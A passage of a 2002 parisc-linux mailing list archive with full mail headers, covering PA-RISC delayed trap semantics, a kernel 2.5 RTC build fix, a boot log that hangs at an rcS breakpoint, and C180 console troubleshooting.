To: jim_hull@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 12:02:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 437EA4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 12:02:23 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gACJ22ot005446;
	Tue, 12 Nov 2002 14:02:03 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gACJ22tw005444;
	Tue, 12 Nov 2002 14:02:02 -0500 (EST)
In-Reply-To: <012101c28a7b$6d84b7a0$6763f40f@cup.hp.com> from "Jim Hull" at Nov 12, 2002 10:43:43 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16744

> In other words, it must be a load or store of a destination register,
> either of the pending trapping instruction itself, or of any subsequent
> instruction which depends on that pending trapping instruction.

Ok.

Another issue that was somewhat vague was whether the state could be saved
without triggering pending traps.  Page 10-13 discusses special treatment
of a double word store of register 0 and states that it cancels all
pending traps.  On the otherhand, item 3 in the hit list and the instruction
description don't mention this treatment.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] rtc doesn't build
Date: Tue, 12 Nov 2002 12:04:26 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <20021112190427.F11C14829@dsl2.external.hp.com>
References: <Pine.BSF.4.44.0211121854470.32930-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621911 16778 80.91.229.3 (22 Nov 2014 02:05:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 12:04:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id F11C14829; Tue, 12 Nov 2002 12:04:26 -0700 (MST)
In-Reply-To: Message from "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net> 
   of "Tue, 12 Nov 2002 18:57:07 GMT." <Pine.BSF.4.44.0211121854470.32930-100000@e0-0.zab2.int.zabbadoz.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16745

"Bjoern A. Zeeb" wrote:
> thi sseems to be a problem with nonexistent defines expected
> to be in include/asm-parisc/mc146818rtc.h

use GENRTC instead

grant


From - Thu Nov 08 21:25:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] rtc doesn't build
Date: Tue, 12 Nov 2002 19:04:39 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20021112190439.B30392@parcelfarce.linux.theplanet.co.uk>
References: <Pine.BSF.4.44.0211121854470.32930-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621911 16779 80.91.229.3 (22 Nov 2014 02:05:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 12:04:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85AA74829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 12:04:44 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18BgL1-0002Ku-00; Tue, 12 Nov 2002 19:04:39 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.BSF.4.44.0211121854470.32930-100000@e0-0.zab2.int.zabbadoz.net>; from bzeeb-lists@lists.zabbadoz.net on Tue, Nov 12, 2002 at 06:57:07PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16746

On Tue, Nov 12, 2002 at 06:57:07PM +0000, Bjoern A. Zeeb wrote:
> Hi,
> 
> 
> thi sseems to be a problem with nonexistent defines expected
> to be in include/asm-parisc/mc146818rtc.h

Say 'N' to "Enhanced Real Time Clock Support", then "Y" to "Generic
/dev/rtc emulation" instead.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] rtc doesn't build
Date: Tue, 12 Nov 2002 19:28:37 +0000 (UTC)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211121925070.32930-100000@e0-0.zab2.int.zabbadoz.net>
References: <20021112190427.F11C14829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621911 16785 80.91.229.3 (22 Nov 2014 02:05:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 12:28:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 022244829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 12:28:33 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 9BADB1FFE9A; Tue, 12 Nov 2002 20:28:29 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id E351F1FFEB6; Tue, 12 Nov 2002 20:28:28 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 50F1B22E18; Tue, 12 Nov 2002 19:28:37 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 47CE822E13; Tue, 12 Nov 2002 19:28:37 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <20021112190427.F11C14829@dsl2.external.hp.com>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16747

On Tue, 12 Nov 2002, Grant Grundler wrote:

> "Bjoern A. Zeeb" wrote:
> > thi sseems to be a problem with nonexistent defines expected
> > to be in include/asm-parisc/mc146818rtc.h
>
> use GENRTC instead

Is this a general prob ?

if so it would be good if we could hide this option - I do not know
Kconfig...

perhaps drop a note to Documentation/parisc/

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim_hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Tue, 12 Nov 2002 11:31:32 -0800
Organization: Hewlett-Packard
Lines: 21
Approved: news@gmane.org
Message-ID: <012c01c28a82$1b5c71a0$6763f40f@cup.hp.com>
References: <200211121902.gACJ22tw005444@hiauly1.hia.nrc.ca>
Reply-To: <jim_hull@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621911 16789 80.91.229.3 (22 Nov 2014 02:05:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:11 +0000 (UTC)
Cc: <carlos@baldric.uwo.ca>, <parisc-linux@lists.parisc-linux.org>,
	<tausq@debian.org>
To: "'John David Anglin'" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 12:31:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 894004829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 12:31:37 -0700 (MST)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel12.hp.com (Postfix) with ESMTP
	id 21740E00878; Tue, 12 Nov 2002 11:31:33 -0800 (PST)
Original-Received: from jh73313p (dhcp42uvi357.cup.hp.com [15.244.99.103])
	by lucy.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id LAA20605;
	Tue, 12 Nov 2002 11:31:42 -0800 (PST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <200211121902.gACJ22tw005444@hiauly1.hia.nrc.ca>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16748

Dave:

> Another issue that was somewhat vague was whether the state could be
saved
> without triggering pending traps.  Page 10-13 discusses special
treatment
> of a double word store of register 0 and states that it cancels all
> pending traps.  On the otherhand, item 3 in the hit list and the
instruction
> description don't mention this treatment.

Yes, you can save state without "triggering pending traps", if what you
mean by "triggering" is that you end up at the assist exception trap
handler.

This is described in step 5 of the numbered list on p. 10-6, which
describes what happens when a delayed trap occurs.

 -- Jim



From - Thu Nov 08 21:25:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Tue, 12 Nov 2002 14:38:24 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200211121938.gACJcOii005554@hiauly1.hia.nrc.ca>
References: <012c01c28a82$1b5c71a0$6763f40f@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621912 16792 80.91.229.3 (22 Nov 2014 02:05:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:12 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org
To: jim_hull@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 12:38:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C73B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 12:38:31 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gACJcPot005555;
	Tue, 12 Nov 2002 14:38:25 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gACJcOii005554;
	Tue, 12 Nov 2002 14:38:24 -0500 (EST)
In-Reply-To: <012c01c28a82$1b5c71a0$6763f40f@cup.hp.com> from "Jim Hull" at Nov 12, 2002 11:31:32 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16749

> Yes, you can save state without "triggering pending traps", if what you
> mean by "triggering" is that you end up at the assist exception trap
> handler.
> 
> This is described in step 5 of the numbered list on p. 10-6, which
> describes what happens when a delayed trap occurs.

Thanks.  I think it is now clear how to implement the function to
raise a specific set of exceptions, one at a time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.5] My System ate a SPARC! *haha* 8-(
Date: Tue, 12 Nov 2002 20:42:28 +0000 (UTC)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211122031220.32930-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621912 16794 80.91.229.3 (22 Nov 2014 02:05:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 13:42:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id F16E14829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 13:42:37 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id C0C001FFEC1
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 21:42:32 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 012CF1FFEC7; Tue, 12 Nov 2002 21:42:31 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 1506A22E1B; Tue, 12 Nov 2002 20:42:29 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id 0BA6822E1A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 20:42:29 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16750

Hi,

felt really lucky to have reached INIT for less than a second ;-)

hit it. looped for(;;);

had to remove power  cause neither sysreq nor the power button could
reboot the machine...

rcS should be the same as everywhere from the .dep .



Linux version 2.5.47-pa1 (bz@apollo) (gcc version 3.2) #5 Tue Nov 12 19:14:45 UTC 2002
...
Kernel command line: root=/dev/sda3 HOME=/ TERM=linux console=ttyS0 palo_kernel=3/boot/vmlinux-2.5.47-pa1
...
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
NET4: Linux TCP/IP 1.0 for NET4.0
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
Linux IP multicast router 0.06 plus PIM-SM
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 372k freed
INIT: version 2.84 booting
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
rcS(11): Breakpoint
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
rcS(11): Breakpoint


-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 oddness
Date: Tue, 12 Nov 2002 11:53:38 -0900 (AKST)
Lines: 58
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211121141270.16543-100000@wolf.alaskatech>
References: <1033629468.626.67.camel@jerry>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621912 16796 80.91.229.3 (22 Nov 2014 02:05:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:12 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Chuck Slivkoff <caslivkoff@telocity.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 13:53:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wolf.alaskatech (207-5-237-24-cable.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF9BE4829
	for <parisc-linux@parisc-linux.org>; Tue, 12 Nov 2002 13:53:30 -0700 (MST)
Original-Received: from wolf.alaskatech (palinux@wolf.alaskatech [24.237.5.207])
	by wolf.alaskatech (8.12.3/8.12.3/Debian -4) with ESMTP id gACKrdR5024046;
	Tue, 12 Nov 2002 11:53:39 -0900
X-X-Sender: palinux@wolf.alaskatech
In-Reply-To: <1033629468.626.67.camel@jerry>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16751

In case this helps anyone else...

> > On Wed, 2002-10-02 at 13:47, Tom wrote:
> > the "tab after powerup" to switch console settings, but nothing. According
> > to my C180 manual, having the monitor and keyboard on there should set the
> > monitor as console, while removing them should send console to ttyS0.
>
> On 3 Oct 2002, Chuck Slivkoff wrote:
> If the console path in the PDC is explicitly set to one of the serial
> ports, it will not automagically change back to graphics by connecting a
> keyboard. The opposite is true, though: no/bad PS/2 keyboard, no/bad
> graphics, or invalid PDC value (ie, graphics card moved/removed) & the
> console will be directed to the first serial port.
>
> Do the PS/2 keyboard LED's flash and Num_Lock LED light during POST?

Yes, they did...

> Here's another suggestion: try removing all I/O cards, detaching all
> disks, disconnecting the network, and removing all but 1 pair of SIMMs.

Did this, didn't seem to make any difference.

Tracked down a new, known-good db9-db9 null-modem cable, scarfed the g/f
laptop (WinME), connected former to latter with cable and used
HyperTerminal. (Everything still disconnected/removed as suggested above.)
Console came up, with typical dire warnings about hardware changes.
Checked - fast boot disabled already, console path set to
serial_1.9600.n.1, so is correct. Displaying hardware showed VizEG video,
etc. Power off, plug in drives, power on, back to console. SEArch hung
while looking for drives... Discover the "scsi card" end of the FW cable
was bad - moved the next connector in line onto the card, SEA comes up
fine with FWSCSI.5 and SESCSI.5 (correct devices). Plug everything else
back in, all is redetected fine, and system is now merrily trying to
compile 2.4.19-pa24...

So, apparently the cable end being loose/bad was seriously screwing with
it's poor little RISC-brain.

> When you get the console back, you might want to enable "chassis codes"
> (to trace the POST codes) and disable "fast boot" (to get a better test
> of RAM). I believe The service manual has a table which should be able
> to give some indication of when the firmware chooses a console device.
>
> http://h20000.www2.hp.com/bizsupport/TechSupport/DocumentIndex.jsp?contentType=SupportManual&docIndexName=hardware+manuals&locale=en_US&prodTypeId=43563&prodSeriesId=44435&prodSeriesName=hp+Visualize+c180+workstation
>
> BTW, one of the nice things about the Allegro/Forte/Duet (4-digit
> B/C/Jxxxx, less J2240) systems is the LCD display which indicates where
> the console has be directed.

I think if I can find one of these cheap I'll grab it :-)  (The C180 was
$35 plus $50 shipping - too good to pass up! Gotta love eBay...)

BTW, I tried using apt to dist-upgrade from stable, but nothing's changed
in quite a while - at least a month. Are updates being pushed into
testing, or is it better to leave sources.list pointing to stable?



From - Thu Nov 08 21:25:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] My System ate a SPARC! *haha* 8-(
Date: Tue, 12 Nov 2002 13:59:42 -0700
Lines: 67
Approved: news@gmane.org
Message-ID: <20021112205942.GA7777@beavis.ybsoft.com>
References: <Pine.BSF.4.44.0211122031220.32930-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621913 16798 80.91.229.3 (22 Nov 2014 02:05:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 13:59:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF6B64829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 13:59:46 -0700 (MST)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
